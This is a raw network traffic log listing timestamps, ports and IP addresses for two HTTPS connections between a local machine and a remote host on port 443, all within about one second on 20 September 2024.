Sep 20, 2024 12:14:54.485291004 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.485335112 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.485366106 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.485373974 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.485409975 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.485434055 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.485629082 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.485671043 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.485703945 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.485711098 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.485743999 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.485770941 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.486025095 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.486068010 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.486103058 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.486109972 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.486139059 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.486166954 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.540363073 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.540503979 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.540604115 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.540604115 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.540671110 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.540735006 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.541022062 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.541064978 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.541245937 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.541246891 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.541311026 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.541584015 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.543381929 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.543442965 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.543504953 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.543541908 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.543574095 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.543739080 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.543792009 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.543838024 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.543879032 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.543891907 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.543926001 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.543948889 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.544476032 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.544513941 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.544559956 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.544570923 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.544610023 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.544639111 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.545880079 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.545948982 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.545959949 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.545972109 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.546025038 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.546053886 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.547605038 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.547652006 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.547713041 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.547724009 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.547765970 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.547790051 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.547851086 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.547899008 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.547947884 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.547957897 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.547992945 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.548019886 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.569979906 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.570039988 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.570069075 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.570085049 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.570120096 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.570144892 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.570216894 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.570262909 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.570283890 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.570293903 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.570322990 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.570347071 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.570417881 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.570460081 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.570501089 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.570508957 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.570549011 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.570566893 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.570919037 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.570961952 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.571008921 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.571016073 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.571031094 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.571058989 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.572016001 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.572114944 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.572154045 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.572160959 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.572207928 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.572330952 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.572372913 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.572402954 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.572410107 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.572432995 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.572455883 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.572824001 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.572868109 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.572905064 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.572911978 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.572958946 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.572985888 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.573101997 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.573143005 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.573183060 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.573190928 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.573220968 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.573250055 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.627839088 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.627862930 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.627937078 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.628000975 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.628036976 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.628060102 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.629036903 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.629055023 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.629111052 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.629123926 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.629179955 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.629298925 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.630136967 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.630156040 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.630218029 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.630228996 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.630270958 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.630300045 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.630456924 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.630475044 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.630539894 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.630553007 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.630620003 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.631289005 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.631308079 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.631365061 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.631376028 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.631436110 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.631436110 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.632674932 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.632693052 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.632761002 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.632772923 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.632838011 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.634300947 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.634341002 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.634390116 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.634401083 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.634427071 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.634469986 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.634905100 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.634944916 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.635016918 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.635027885 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.635092974 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.656810999 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.656874895 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.656915903 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.656939030 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.656965017 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.657001972 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.657051086 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.657105923 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.657135963 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.657145023 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.657176018 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.657206059 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.657426119 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.657478094 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.657537937 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.657546043 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.657572985 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.657608032 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.657725096 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.657768011 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.657799959 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.657808065 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.658020020 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.658020020 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.658962011 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.659009933 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.659044027 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.659060001 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.659085035 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.659110069 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.659280062 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.659327030 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.659358025 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.659367085 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.659416914 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.659430027 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.659905910 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.659950018 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.659987926 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.659998894 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.660029888 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.660058022 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.660540104 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.660586119 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.660619974 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.660629034 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.660660982 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.660685062 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.714823961 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.714843988 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.715008020 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.715029001 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.715162039 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.715691090 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.715709925 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.715786934 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.715799093 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.715887070 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.717274904 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.717292070 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.717375040 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.717386007 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.717472076 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.717788935 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.717806101 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.717888117 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.717899084 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.717963934 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.718305111 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.718322039 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.718384981 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.718396902 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.718456030 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.719762087 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.719779968 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.719857931 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.719870090 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.719933033 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.721276999 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.721296072 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.721368074 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.721379042 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.721436977 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.721827030 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.721846104 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.721919060 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.721930027 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.721987009 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.744154930 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.744223118 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.744319916 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.744319916 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.744352102 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.744404078 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.744438887 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.744457006 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.744503021 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.744510889 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.744563103 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.744656086 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.744708061 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.744740963 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.744750023 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.744762897 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.744801044 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.745213985 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.745256901 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.745287895 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.745295048 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.745335102 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.746287107 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.746330023 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.746367931 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.746376038 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.746401072 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.746429920 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.746500969 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.746542931 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.746577024 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.746584892 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.746628046 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.746956110 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.747005939 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.747056961 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.747064114 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.747092009 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.747117996 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.747246027 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.747294903 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.747328043 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.747334957 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.747410059 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.801841021 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.801901102 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.801975965 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.801996946 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.802023888 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.802669048 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.802716017 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.802778959 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.802793026 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.802820921 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.802858114 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.804439068 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.804486990 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.804533005 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.804549932 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.804573059 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.804608107 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.804687977 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.804725885 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.804770947 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.804780960 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.804805040 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.804852009 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.805351019 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.805389881 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.805438995 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.805449963 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.805481911 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.805500031 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.806957960 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.806999922 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.807049036 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.807071924 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.807133913 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.808327913 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.808367968 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.808418036 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.808429003 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.808461905 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.808478117 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:54.808936119 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.808974981 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:54.809020042 CEST	58640	443	192.168.2.4	185.199.108.133
